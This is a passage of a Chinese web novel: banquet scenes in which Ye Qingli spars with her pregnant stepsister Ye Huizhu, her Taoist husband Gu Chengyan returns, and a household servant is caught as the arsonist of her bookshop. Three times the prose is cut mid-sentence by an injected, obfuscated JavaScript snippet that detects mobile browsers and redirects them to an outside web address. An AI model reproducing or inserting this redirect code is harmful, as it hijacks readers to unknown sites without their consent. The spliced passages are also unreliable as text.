赵氏静静听着,垂眸看着手中的这杯茶,却是怎么都喝不下。 * 戏台搭好,叶青漓便吩咐人仔细关注赵氏和她身边人的动向,第二日,像没事人一样去参加了叶家给叶嘉伦办的庆功宴。 自叶修恺被圣上责罚之后,叶家萎靡不振许久,如今叶嘉伦一朝中榜,瞬间扫清之前的阴霾。 如此大喜,陆怡珊自然给众多亲朋好友下帖,叶青漓也在其中。 书铺捉凶自有官府上心,叶青漓收到请帖,迫不及待想要看看叶修恺的近况,她打着看好戏的心态来到叶家,却不知自己也叫别人看了好戏。 41. 赴宴 叶青漓下了马车,站在叶府门前看着这个只住了三个月的地方,余光瞥见一顶小轿从对面行来,停在不远处。 轿中人未有动作时,沈仕楣已经提前走到小轿旁边,俯下身子等着,一只嫩白的手从轿中伸出,搭在了沈仕楣的手上,而后叶蕙珠才缓缓从小轿中走出。 沈仕楣一手搂着叶蕙珠的腰,一手牵着她的手,小心呵护到了极致。有他在身侧,叶蕙珠随嫁的几个仆人甚至只需远远跟着,根本没有他们的用武之地。 与之对比起来,叶青漓踩着脚凳从马车上下来后,身旁只跟着一个采莲,根本看不见顾承宴的身影,显得冷冷清清,实在可怜。 叶蕙珠便是在这样的情形下,走到叶青漓面前,居高临下地看着她,眼底是藏不住的嘲意。 “妹妹怎么又一个人回来了,顾大公子没跟你一起来吗?” 这点嘲讽对叶青漓来说不疼不痒,她点点头。 “夫君一心修道,这段日子都不得闲,叫姐姐白牵挂了!” “你……你说什么呢?我怎么会牵挂他?他一个不学无术的臭道士,有什么好值得我牵挂的?” 叶蕙珠连声否定,瞬间气得脸都红了。 可叶青漓清楚,叶蕙珠心中定是不甘心的! 这一世两人换嫁,叶蕙珠虽然如愿以偿嫁给了沈仕楣,可上一世在顾国公府受的委屈,以她的性格又哪是能轻易忘掉的? 而今顾承宴发生许多前世没有的变化,仅是坚持不休妻这一点,就足够叶蕙珠半夜气得睡不着。 叶蕙珠心中憋着气,连带牵着沈仕楣的手也下意识用力,感受到她情绪不对的男人,立刻紧了紧她腰间的手,柔声细语道:“娘子,今日是伦弟的好日子,咱们别都在门口站着,快些进去吧!” 闻言,叶蕙珠回了沈仕楣一个娇媚的眼神,朝着叶青漓冷哼一声后,抬脚进了叶府。 叶青漓跟在两人身后,一路看着两人亲亲我我,腻的如同一个人一般,忍不住起了一身鸡皮疙瘩。 这会她倒是有点体会到叶蕙珠的感觉了,沈仕楣原来可以是这样低三下四做小伏底的人? 可怜她上一世被原书剧情所累,都没机会看见这一幕。 几人进府之后,来到会客厅。 陆怡珊一看见叶蕙珠出现,立刻微笑着迎上来。 “怎么来得这样早?你弟弟都还没换好衣服呢!” “今日阿弟大喜,我这个做姐姐的自然不能来迟!”叶蕙珠满脸笑意,从沈仕楣的怀中离开,撒娇似的抱住陆怡珊的胳膊,“而且女儿好久没有看见娘了,我好想你!” 陆怡珊最是喜爱叶蕙珠,见她这般撒娇卖乖,笑得眼睛都弯了。 伸手在叶蕙珠额头上轻点,宠溺道:“你呀!都多大的人了,还在娘面前撒娇,再这样,要叫旁人看笑话了。” “女儿想娘,天经地义,有什么好笑话的?再说了,相公待我很好,他才不敢笑话我呢!” 沈仕楣闻言配合地一脸‘惶恐’,“岳母放心,慧珠在叶家是您的掌上明珠,在沈家我娘也是一样把她放在心尖上疼的,她想做什么,没人会说半个不字!” “哈哈,你这孩子,竟会说好听话哄我,和珠儿一样!” 三人笑着说了半天,却无一人问起叶青漓,好似她根本不存在一般。 采莲看着这情景,有些替叶青漓不服,悄悄看向叶青漓。 受了冷落,本该自怨自艾的叶青漓,此时望着陆怡珊母女俩人却有些失神。 曾几何时,她也有这样一个母亲,全心全意疼爱着她,虽然她刚来到这个世界对一切都十分陌生,虽然那时两人的日子过得很艰难,可是母亲的疼爱是不会作假的,那是叶青漓一辈子都忘不了的温暖! 可惜,这一切都被叶修恺毁了! 想到这些,叶青漓嘴角弧度更深了几分,微笑着站在一旁,静静看着三人的表演。 和叶蕙珠亲热完的陆怡珊似乎是才注意到她,看向叶青漓时,扬起的嘴角瞬间耷拉下来,不冷不热道:“青漓也来了?” 叶青漓微笑,点头,递上画轴。 “这是我祝贺嘉伦弟弟中榜之喜的礼物,还望母亲不要嫌弃。” “你可是顾国公府大少奶奶,我今日敢说一个不好,明日就有人到叶府门前叫骂,我哪敢嫌弃你的礼物?” 陆怡珊阴阳怪气,叶青漓却只有一个感觉,爽! 人只有在打不过也骂不过的时候,才会不阴不阳地说话,曾经的陆怡珊看她不喜都是直接将礼物丢出去,哪里会用这种语气和自己说话? 舅母果然是这个世上最会打脸的人! 当初换亲一事闹得陆怡珊现在都还记着仇,想必当时情形真的叫她很难堪!若她都如此,那罪魁祸首的叶修恺只会更惨! 想到舅母那张骂死人不偿命的嘴,叶青漓眼底终于浮现一份真实笑意。 看着叶青漓那张微笑的脸,陆怡珊心里憋了一肚子的闷气,奈何如今叶青漓不只是她叶家的义女,更是顾国公府的大少奶奶,还有一个嚣张恶毒的何夫人环伺在侧,她连骂都不敢骂一句。 实在憋屈! 叶蕙珠最是了解陆怡珊,一看她冷着脸盯着叶青漓就知道,她还在生叶青漓的气。 刚好叶蕙珠今日也瞧叶青漓不顺眼,她走到一旁,缓缓坐下,轻抚了下自己的肚子,才悠悠开口,“我听说,妹妹的书铺被烧了?” 叶青漓见她坐下,自动无视陆怡珊愠怒的眼神找个位置坐下,拿起桌上的糕点随意尝了一口。 “是有这回事。” 得到确认,叶蕙珠轻蔑地看过来,“我早就告诉过妹妹了,女人家还是不要太抛头露面,那书铺里来来往往的都是男人,一个不好冲撞了你,可怎么是好?” “幸而这次被烧掉的只是铺子,妹妹将手头的银子赔出去也就够了。万一那日妹妹刚好在铺子里,被大火烧伤了这张花容月貌的脸,岂不是一辈子都毁了?” 安慰人哪有这么安慰的? 就连顾国公府的几个妯娌都知道做做表面功夫,叶蕙珠这是存心不想让她好啊! 叶青漓冷笑一记,“姐姐说得是,以后我会小心些的。” “以后?” 叶蕙珠忽然拔高了声音,十足惊讶地看着叶青漓。 “还有以后?这铺子你还要继续开?” 叶青漓被她这一嗓子吓了个机灵,一脸发懵地看着叶蕙珠。 “不然呢?” 叶蕙珠似笑非笑地看了叶青漓一眼,转头看向沈仕楣,眼神扫向自己的肚子。 沈仕楣见状,忙蹲下身来轻柔地抚着她的小腹,一脸温柔小意,“娘子有何吩咐?可是孩子不听话?” 叶蕙珠摇摇头,故作苦恼,“我和孩子倒是没什么,我只是替青漓妹妹不值,早知道她嫁进顾家过得是这样的苦日子,当初我就拦住她了。” “看她年纪轻轻,却在府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14028216|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里守活寡,为了赚些银子,哪怕冒着被毁容的风险也要整日流连于那些男人之间,日日赔笑,实在可怜!” 沈仕楣虽然并不认同叶蕙珠这番添油加醋的话,可他知道这是他家娘子在故意扎叶青漓的心,只好配和。 “是啊!幸好当初嫁进顾府的不是你,否则看着娘子整日受这种苦,我一定会难过的!我们的孩子也会难过的!” 呕! 对面两人的表演实在油腻,叶青漓有些想吐,却又忍不住被他们的对话吸引。 她看着沈仕楣搭在叶蕙珠肚子上的手,想起今日叶蕙珠那些多余的小动作,一时间有些惊讶。 “姐姐这是有喜了?” 陆怡珊早在叶蕙珠露面的时候就看出她今日状态与往日不同,还想着稍后母女二人说悄悄话时问一问,没想到叶蕙珠就带给自己天大的惊喜。 霎时间喜上眉梢,“珠儿,你真的有喜了?!” 看着高兴地站起来,想摸又不敢摸的陆怡珊,叶蕙珠幸福地扬起笑脸。 “是的,娘,我和相公有孩子了!” “哎呀!这可是天大的好事?你有孕多久了?身子累不累?平日想不想吐?爱吃什么,不爱吃什么?我这就让小厨房去给你做!” “娘,不用这么麻烦,我……” 叶青漓听见叶蕙珠有喜后,第一反应不是羡慕,不是嫉妒,而是——完了! 上一世她没和沈仕楣同房,也没有怀孕过,可是后来沈家子嗣照样繁盛,叶青漓有时候管理后宅都有些管不过来。 如今叶蕙珠有了自己的孩子,那将来…… 叶青漓一想到沈家后院的那些事,都有点替她感到窒息。毕竟自己当初只是当做在沈家打工,叶蕙珠可是对沈仕楣付出了真情实感的! 叶青漓脸上的怔愣自然而然被叶蕙珠理解为落寞。 她得意一笑,动作轻柔地在小腹上摸了又摸,“妹妹也不必灰心,虽然顾大公子常年在山上,可是人心都是肉长的,妹妹只要温柔以待,总有一天能捂热对方的心,到时候也就可以有个自己的孩子了。” 叶青漓笑笑没说话。 她在会客厅坐了半天,硬是等到沈仕楣不在叶蕙珠身边的时候,才凑近了些同她道:“姐姐有喜是好事,可是世事难料,将来若发生什么事,一定要先顾好自己的身子。” 叶蕙珠皱眉,“你这是说得什么话?在诅咒我和孩子吗?” 叶青漓连连摆手,“我的意思是,呃……有了孩子以后,姐夫的重心可能会转移,姐姐一定要看开点……” “叶青漓!!!” 叶蕙珠根本不觉得叶青漓是好心劝告,只当叶青漓是眼红自己怀孕,想要挑拨他们夫妻二人的关系。 她挺着肚子冷冷看向叶青漓,勾唇嘲讽。 “你自己丈夫没本事,需要你出去抛头露面挣银子,就不要来管我家的事!相公如今中了进士,再过不久就要授官,哪里是你那个不学无术,整日只知道念经的臭道士能比的?” “我没有不学无术!也并非没本事!” 一道熟悉的声音打破了剑拔弩张的气氛,叶青漓转过头去,看见那个如翠竹一般的男子站在面前。 顾承宴依旧穿着自己给他准备的那身道袍,长身玉立,气质斐然,单是站在那里,便让人移不开眼。 叶青漓心跳蓦地快了一些,脸上带着自己都未察觉的笑意。 “夫君?你怎么会在这?” 42. 对比 “长生,你的心乱了!” 这是顾承宴下山之前闲云观主对他说的话,当时他并不清楚师父的意思,只是听从师父的安排入世修心。 下山后,他一直从容淡定,甚至想到自己要回到那个令他厌恶的家,隐隐有些不快。可是当他真正走进顾国公府,想到自己马上要见到叶青漓时,忽然有些紧张。 得知叶青漓不在府内,他什么话都没说,背着所有人直接来到叶府。 看见叶青漓笑靥如花坐在那里,与她那双闪亮得像星星一样的眼睛对视时,顾承宴终于懂了师父的话。 他的心,乱了! 他看着叶青漓,回答她的问题,“师父说修道更在于修心,入世有利于修心,我便下山了。” “原来是这样。”叶青漓点点头,两个月不见顾承宴,瞧着他越发好看了。 她明目张胆地欣赏起顾承宴的盛世美颜,直接将一旁的叶蕙珠忽略,引来对方不满。 “我当是谁呢?原来是妹夫,怎么你今日不念经了?” 她瞧着顾承宴一身道袍,十分不屑地撇了撇嘴,“别怪我没提醒你,你老是待在山上,青漓又总是出门做生意,这夫妻两个长久分开,可是会出事的!” 她得意地朝顾承宴展示了下自己的肚子,下巴抬得高高的,“小心你下次下山时,叶青漓便和我一样了。” 如此羞辱人格的污蔑,哪怕是一向心大的叶青漓听了都皱眉头。 “你别乱说……” “南朝律法共四百五十八条,没有一条规定已婚妇人不可经商,青漓遵纪守法,合理经营,买卖盈亏,都是自然!” 顾承宴与叶青漓同时开口,淡定如水的脸上罕见起了波澜。 他抬眉瞥了眼叶蕙珠手上的珠串,声音冷肃,“凭本事挣钱,总好过坐吃山空!” “你……!” 感受到那抹冰冷的视线,叶蕙珠立刻收起手腕。 叶青漓眼睛比叶蕙珠动作更快,她狐疑地看了叶蕙珠一眼,“咦?这珠串我记得是姐姐大婚那日戴在身上的吧?怎么今日还戴着?” 叶蕙珠自幼在金玉堆里长大,身上的首饰从来不重样,怎么今日竟会戴上旧物? 叶蕙珠的脸在叶青漓怀疑的目光下一寸寸变得通红。 她嫁妆是十分丰厚,可之前父亲被圣上责罚时母亲从她这要回去一些,沈家一家子都穷得靠她养着。 沈仕楣对她不错,裘氏也对她听之任之,她拉不下脸来断了给沈家的银子,只好在这些小事上俭省一点。 没想到,自己第一次节俭出行就被叶青漓看穿了! 察觉到叶蕙珠的窘迫,叶青漓十分不客气地笑了。 “看来姐姐十分喜爱这珠串啊!” 她看见叶蕙珠怀孕了,体谅她以后为人母辛苦,才好心好意前来劝告两句,没想到狗咬吕洞宾。 果然,当圣母被雷劈! 也罢,沈仕楣是她哭着喊着要嫁的,路也是她自己走的,将来如何都与自己无关! 叶青漓放下助人情怀,转看向顾承宴问起他这些日子在山上的经历。 顾承宴低眉想了想,“每日都是念经打坐,没什么特别的。” “啊?原来你这道士当得跟和尚没什么两样?” 顾承宴抿唇,浅笑,“那你这段时间都发生了什么有趣的事?” “那可多了!我的那间书铺,你还记得吧?今科前三甲都在我那间书铺拜读过,如今铺子声名远扬,生意好得不得了!不过前几日被人纵火,到现在都没抓到凶手。” “我还和采莲一起去了京城盛名的百花园,那里果然很美,我买了些花种在蔚莲阁,可漂亮了!等你回府可以去看看!” “哦,还有,舅母说再过些日子是她的生辰,想请我去纪府小聚,我最近都在苦恼该给她准备什么礼物,正好你回来了,快跟我说说舅母都喜欢什么?” 叶青漓掰着手指细数这段日子的充实,时而高兴雀跃,时而苦恼皱眉,顾承宴则微微侧目看着她,嘴角含笑,眼神宠溺。 叶蕙珠看着两人亲密无间的样子,手心用力攥起,修长的指甲戳到肉里,她却毫无所觉。 上一世,自己也是顾承宴的妻子,可是他对自己却从来没有这般好脸色,见到自己时总是冷着一张脸,旁人嘲笑自己时也从不为自己出头。 凭什么?! 凭什么换了她叶青漓就不一样了?! “娘子,岳母说座位都安排好了,我们过去坐吧。”沈仕楣在此时走进会客厅。 他容貌俊朗,仪表堂堂,看向叶蕙珠时眼神总是温柔似水,叶蕙珠一直觉得自己这一世嫁对了人。 可凡事没有对比就没有伤害,和顾承宴的皓月之辉相比,沈仕楣还不如萤火之光! 尤其今日两人竟巧合地穿了同一个颜色的衣服! 顾承宴身上那普普通通的道袍,在他那张脸的衬托下,多了几分仙气飘飘,而沈仕楣即便穿着一身锦衣,看上去却那么平凡! “娘子?” 沈仕楣又叫了一声,见叶蕙珠的目光一直停留在对面,才注意到一直被他刻意忽视的顾承宴。 “原来是顾大公子?”他微微一笑,“刚才在门口碰见少夫人的时候,怎么没看见你?” “我今日刚回府中,听说青漓来了叶府参宴,这才赶来。” “哦,原来如此。那今日我们两个可是能好好喝上一杯了!哈哈!” 沈仕楣故作自然朝顾承宴笑了笑,脚下却忽然一痛。 “嘶——!” 他拧眉看去,竟然是叶蕙珠在踩他的脚? “娘子,你踩到我了!” 叶蕙珠瞪了他一眼,咬着牙道:“是吗?真是对不住!”而后才缓缓松开脚。 沈仕楣不明白叶蕙珠怎么又生气了,她如今大着肚子,这又是在叶府,他不好与她计较,只能扭着张脸,故作大度。 “无妨!我不疼!” 然而叶蕙珠先被顾承宴的美貌冲击,再看向这张平平无奇还表情做作的脸,心情瞬间跌落到谷底! 几人一同从会客厅走到宴席上,叶蕙珠的注意力也一直停留在顾承宴身上。 顾承宴对叶青漓十足地有耐心,哪怕叶青漓只是说自己看到一只小猫,他也会微笑着回一句很可爱。 与前世天差地别的态度,极大了激起了叶蕙珠心中的愤怒! 凭什么? 明明她才是叶家嫡女,这份婚约她才是名正言顺的那个! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14038425|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >凭什么顾承宴对待两人差距如此之大?! “娘子?娘子,你怎么了?我看你脸色有些白,是不是身子不舒服?” 沈仕楣的叫声让叶蕙珠回神,她摇了摇头,正要说些什么,嘴巴一张,下一刻,昏过去了。 “娘子!” 沈仕楣眼疾手快抱住叶蕙珠,可对方双目紧闭,唇色发白,根本无法回应他。 叶青漓听见动静向两人看来,被这情况惊呆了。 “好端端的,怎么昏过去了?快,快扶她去歇歇!再找个大夫过来!” 叶青漓毕竟是在叶府住了三个月的义女二小姐,叶府的下人对她比对沈仕楣更加熟悉,有她开口,下人们立刻动作迅速地将叶蕙珠扶到房间内,另有人去叫了大夫。 陆怡珊得到消息匆匆赶来,看着叶蕙珠白着张脸躺在床上,瞬间担心得不行。 看着一旁一脸担忧的沈仕楣,更是气不打一处来,“你是怎么照顾珠儿的?我不过离开一会功夫,你就让她昏倒了?!” 沈仕楣被这般指责,实在是百口莫辩,连声说着他也不知道怎么回事。 “你不知道?你一直护在珠儿身边,你怎么可能不知道?你这个相公是怎么当的?她如今怀有身孕,你就不知道多关注些吗?” 陆怡珊语气是绝无仅有的严厉,叶青漓注意到沈仕楣抽了下鼻子。 同一屋檐下生活了大半辈子,叶青漓明白,沈仕楣这是不耐烦了! 果然,接下来无论陆怡珊再说什么,沈仕楣只是低着头保持恭敬的姿态,却再未多发一言为自己辩解。 就在陆怡珊越说越难听,将整个沈家的人都骂了一遍后,看诊的大夫终于有了结果。 “这位夫人是心气郁结,内火集躁,气血不畅,导致昏厥,让她安静休息一会就没事了。” 用叶青漓的话说就是:叶蕙珠被她自己气晕了! 闻言,陆怡珊立刻住了嘴,沈仕楣也紧紧皱起眉。 屋内的气氛实在古怪,叶青漓不想继续待,见叶蕙珠没事带着顾承宴先来到席间。 今日叶嘉伦大喜,前来赴宴的自然都是叶家的亲朋好友。 当叶青漓和顾承宴出现时,众人的焦点瞬间落在两人身上,叶修恺见到顾承宴出现,亦有片刻失神。 叶青漓看得出叶修恺状态不太对劲。 一来他被圣上责罚闭门思过三个月,如今时间还未结束,连带给叶嘉伦办得庆功宴都只是小宴。 二来叶嘉伦虽然中榜,可是名次太低,若是授官,只怕位置不会太好。他就叶嘉伦这么一个儿子,自然不希望他去那些穷山恶水的地方做官。 可即便如此,他也要对今日赏脸赴宴的宾客们,强露笑脸。 看见叶青漓和顾承宴一同走过来,他忽然想到什么,拉着叶嘉伦一脸笑意朝两人走来。 “真是没想到承宴今日也会来,嘉伦,还不见过你姐夫!” 叶嘉伦和叶蕙珠是一个鼻孔出气的,看不惯叶青漓,自然也看不惯这个姐夫。 他高昂着下巴,嘴巴闭得紧紧的,下一刻就被叶修恺踹了一脚。 “你这孩子,怎么不会叫人呢?” “他才不是我姐夫,我只有一个姐姐,也只有一个姐夫!” 43. 授官 “你……!” 叶修恺被他这番话气得吹胡子瞪眼,还是叶青漓一句话缓和了气氛。 “女儿在叶家时日尚短就已出嫁,与嘉伦弟弟相见次数不多,他对我不熟悉是自然,以后多见面就好了,父亲不必为此生气。” 闻言叶修恺满意地看了叶青漓一眼,眼底满是柔和的笑意。 “青漓说得是,大家都是一家人,以后常来常往就好了。哈哈,常来常往!” 正在此时,一个小厮忽然跑到叶修恺身边。 “老爷,陈大人在那边叫老爷过去叙叙旧。” 叶修恺眉心不着痕迹地皱了一下,笑看向两人,“我那边还有客人,先不与你们多说,等吃完饭我们再好好聊聊!” 说着,他横眉瞪了叶嘉伦一眼,“好好招待你姐姐和姐夫!” 叶嘉伦有些不愿,可今日并不是他能任性的场合,只好陪着叶青漓两人坐下来。 此处,正好能看见叶修恺和其他宾客喝酒的样子。 上一世叶修恺是进士出身,拜在陆国公门下,抛弃妻女娶了陆国公独女,年纪轻轻就做到礼部侍郎,可谓前途无量!身边的同僚下属都把叶修恺捧着敬着,时时谄媚,处处周全,生怕这个上官一朝发达就把自己忘了。 如今,叶修恺在圣上面前出了这么大的差错,虽然不是任上的失误,可在已约定好的事上出尔反尔就是私德不修!注定了叶修恺这辈子在圣上面前都是品德卑劣之人,礼部的人只要有点上进心都不会让叶修恺再有升职的可能! 果然,叶青漓瞧着叶修恺连喝一壶酒,脸色已经泛红,身旁的那些大人们还是不停敬着,丝毫没有停下的意思。 “这起子小人,总有一天我要让他们好看!” 耳旁传来少年信誓旦旦的声音,叶青漓转头看过去,原来叶嘉伦也看见了叶修恺的境遇,正心疼得要为他的父亲报仇呢! 她唇间溢出一丝笑意,“阿弟打算如何让他们好看?” 叶嘉伦咬牙,“等我将来做了他们的上官,必定要把父亲今日所受屈辱十倍百倍的还回去!” 啧啧!真是孝顺!不愧是叶修恺全心全力培养了十多年的孩子! 她点点头,肯定了少年这个不切实际的想法,接着慢吞吞道:“可是阿弟初中进士,授官还要半个月的时间,以你的名次也许分不到什么肥差,大概率要去一个穷山恶水的地方做官。在那种地方蹉跎十几年也难建功绩,纵使侥幸立了大功,升职回京。今日给父亲敬酒的这些人也早都入阁拜相,或是请辞养老,你还如何给父亲报仇?!” “我……!” 叶嘉伦语塞,眼中懊恼一闪而过,继而恼羞成怒拧眉看着叶青漓道:“我如何做官与你何干?你不过是个贪图富贵,擅弄人心的女人,要不是你,阿姐才是应该嫁到顾府的人!如今我的官位也早就有着落了!” 叶青漓:“?” 她颇为惊讶地上下将叶嘉伦仔仔细细又打量了一番,忍不住摇头轻叹。 不愧是叶修恺教出来的儿子,就连升官发财都和他走得是一个路子!当年叶修恺做官靠得是老婆,如今叶嘉伦也想靠嫁进顾家的姐姐给自己弄个肥差! 可惜,这一切都被自己这颗‘老鼠屎’给毁了! “你看什么看?!” “我只是在想,我与阿弟不愧是一家人,想法不谋而合!”叶青漓眯着眼睛笑起来,“我在家时就考虑过阿弟授官一事,刚好我公爹在这上面有几分话语权,若是阿弟需要的话,我可以让公爹给阿弟安排个职位,保准事少钱多离家近!” “不过……” “不过什么?” “不过阿弟方才在父亲面前的那两句话有些伤到我的心了,若是阿弟能真诚跟我道歉认错,再大声叫我和你姐夫一声,我回去就让公爹给你安排!” 顾承宴眉心微挑。 “你,你这女人怎么这样?我再说一遍,我只有一个姐姐,她叫叶蕙珠!你是个什么东西,也敢让我叫你姐?!至于你说得什么官位,我才不稀罕,我既然能凭自己的本事考中进士,自然能凭自己的努力一路升官,哪怕要花五年十年,我也不会放弃!”叶嘉伦气红了眼睛,死咬着牙不肯松口。 顾承宴坐在一旁,眼底划过一抹淡淡的笑意。 看着少年想要又不肯开口的样子,叶青漓颇为嘲讽地摇了摇头,“阿弟真的想好要拒绝我吗?陆国公府如今式微,在你授官一事上可说不上话。父亲刚被圣上责备,现又闭门在家,慧珠姐姐操心她自己的夫君都来不及。能帮你的只有我,错过这个村可就没这个店了!” 叶青漓探着身子,声音似有一种魔力,带着十足的诱惑,“只要你向我低个头,认过错,最好再恭恭敬敬,诚心诚意叫我一声阿姐,我立刻就给你一个满意的官职!如何?” “欺人太甚!!!”叶嘉伦眉间铺满的挣扎之色,在听见低头认错四个字后顷刻间化为乌有,“叶青漓,你不要太得意了!虽然你抢了我阿姐的婚事,当了顾国公府大少奶奶,可是这些我都记着呢!三十年河东,三十年河西,等将来我出人头地了,一定会替阿姐报复回去的!” “嗬!” 好大的口气! 叶青漓轻轻为他鼓掌,“真是你阿姐的好弟弟!既然你都如此说了,我再强逼着给你安排职位,似乎有些不近人情,既然如此,那就算了吧!” 叶青漓无奈耸肩,将目光转向叶修恺处。 叶修恺已经喝得有些醉了,端起酒杯双眼失神地看着前方,奈何陆怡珊现在正陪着叶蕙珠,叶嘉伦又陪着叶青漓两人,无人帮他拦下不停敬来的酒。 忽然两人目光隔空对视,叶青漓浅笑一记,端起面前的酒杯冲叶修恺轻扬,叶修恺嘴角咧着,一仰头又是一饮而尽。 “叶青漓!” “干嘛?” “你明知道他们在给父亲灌酒,你还……” “是父亲先举起酒杯朝向我的,身为女儿难道我不喝吗?” “你……!” 叶嘉伦气得浑身颤抖,却不能将叶青漓如何,只好叫来身边的小厮快去叫陆怡珊过来。 一场酒宴很快结束,叶青漓看够了叶修恺的丑态,心情大好,带着顾承宴就准备回府。 临走前,却被叶府的一个小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056178|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厮拦下,正是宴席上给叶修恺传话的那个。 “二小姐稍等,老爷之前说有话要跟二小姐说,如今喝了醒酒汤正在府中等着二小姐” 叶青漓给顾承宴一个放心的微笑,转身给小厮留了一句话,这才提裙登上马车,空留小厮一人呆愣在原地。 小厮孤身一人回到府中,叶修恺没在他身后看见叶青漓两人的影子,忍不住勃然大怒,“你是怎么办事的?不是让你把二小姐叫住吗?” 小厮被骂也不敢反驳,低着头道:“奴才叫了,可是二小姐说老爷要说的事她已经与少爷商量过了。” “什么?那丫头怎么知道我要说什么事?”叶修恺喃喃道:“难道是惦记我这个做父亲的辛苦,想要为我分忧?” 他呵呵笑起来,神情中满是得意,“不愧是我叶修恺的女儿……!” 叶修恺又醉又清醒的样子让小厮更加害怕,可他还是硬着头皮继续道:“二小姐说,那件事她已经与少爷商量了,可是少爷不同意!” “你说什么?!” “少爷,少爷不同意……” 叶修恺刚喝了醒酒汤脑子还不算太清醒,略一思索才明白过来叶嘉伦不同意的是什么事,当即气得一拍桌子,“逆子!” “去,把那个逆子给我叫来!” * 马车启动很久之后,顾承宴还是压不住心底的疑问:“你怎么知道叶大人会问你叶嘉伦授官的事?” 叶青漓弯起唇,露出一个高深莫测的笑容,“你猜!” 任凭顾承宴再是聪慧过人,也想不到是因为叶修恺提前在叶青漓这里投资了五万两银子,而今,因为叶嘉伦的拒绝,这五万两银子将要打水漂了! 马车速度不慢,一会功夫两人已回到顾国公府。 刚走近蔚莲阁,叶青漓就看见陈阿桥激动不已向两人飞奔而来,高兴得眉飞色舞,“小姐,抓住了!抓住了!” 顾承宴有些不解,“抓住什么了?” “抓住那个在咱们书铺纵火的小贼了!” “真的?”叶青漓侧目和采莲相视一笑,“我们阿桥长本事了,竟真的能抓住纵火的小贼!” “快说,是何人如此大胆,竟敢当众放火烧我书铺?” “是府里一个叫炎山的下人!” “竟然还是咱们府里的人?!”叶青漓震惊不已,咬唇看向顾承宴,“夫君,今日刚好你在,你可要帮我做主!咱们府里的下人竟然敢故意损毁主家的东西,实在可恶至极!” “你看,咱们接下来该怎么办?” 顾承宴不仅惊诧于这突如其来的抓贼,更加奇怪叶青漓什么时候会因为一个小贼如此脆弱,竟需要自己来帮她做主。待他看清了叶青漓眼底的那抹笑后,决定同她一起演完这出戏。 “我自然替你做主!”他沉声问道:“既抓住贼人,那就立刻押送官府!” 陈阿桥撇了撇嘴,“可是有人拦着不让咱们送官!” “哦?”叶青漓唇角微勾,“光天化日,朗朗乾坤,难不成还有人敢包庇纵火犯?” “嗯。” “此人是谁?” 44. 捉凶 “是我!” “你身后这小子活腻了把我的人绑了!” 赵氏怒气冲冲的声音从两人身后传来,叶青漓转过身,惊讶地捂着嘴巴。 “呀!婆母,怎么是您?这到底是怎么回事?” 赵氏满脸怒气,额间青筋突起,“你可真是我们顾家的好儿媳,以下犯上到我头上来了!还不快叫你的人把我的人放了!” 叶青漓呆呆地看着赵氏,脸上划过一抹震惊,“婆母这是什么意思,那个纵火犯竟然是婆母的人?” “什么纵火犯?” “就是那个在我的书铺里放火的人,阿桥说他叫炎山,原来他竟然是婆母的人?”叶青漓狐疑地看着赵氏。 赵氏眼神微闪,“什么放火?炎山是我的人没错,可他这些天从来没有出过国公府,不可能是放火之人!” “一定是你的人弄错了,你还不快把他放了!” “恕儿媳不能从命!”叶青漓神色淡淡,嘴角挂着疏离的微笑,“这纵火犯我抓了许久,今日方有收获,不能仅凭婆母的一面之言就放了!” “而且我已经报官,自该将他交给官府。” “什么?你还要把他送官?” 叶青漓点头,“当然。” “不行!” 赵氏疾声厉色,“不能报官!” “为什么不能?” “炎山他根本没有放过火,这几天他甚至都没出过国公府,是你们抓错人了!” 叶青漓看看赵氏,又回头看了眼阿桥。 “你真的抓错人了吗?” “当然没有!”陈阿桥十分激动,小小少年一个窜身来到叶青漓面前,“小姐和夫人若是不信,可以随我去看那炎山一眼,只需一眼,你们就明白我一定没抓错人!” 陈阿桥态度坚决,十分坚持,叶青漓无奈地看向赵氏。 “婆母,你看……” 赵氏望向阿桥的眼中狠厉一闪而过,咬咬牙道:“去就去!” 一行人跟在陈阿桥身后,来到炎山的住处,门口有两拨下人互相对峙着,不肯相让,见到几人走来,才收敛了眼中敌意。 赵氏不满地瞥了眼几个没用的下人,忽然闻到一股浓郁到刺鼻的臭味,轻轻蹙眉,抬手捂住鼻子,“这是什么味啊?” 陈阿桥回过身来,“回夫人,这是阿魏的味道。” 熟悉的两个字让赵氏怔忪在原地,待她反应过来时,阿桥已经推开了炎山的屋子。 身为赵氏的得力下属,炎山单独拥有一间房间,此刻房门打开,众人可以清楚地看见一个瘦弱男子坐在浴桶中,浑身被湿布包裹,嘴里也塞上了布条。 看见赵氏的身影后,安静了许久的人立刻激动起来,在浴桶中搅弄得水花四溅,嘴里不时发出呜呜的声音。 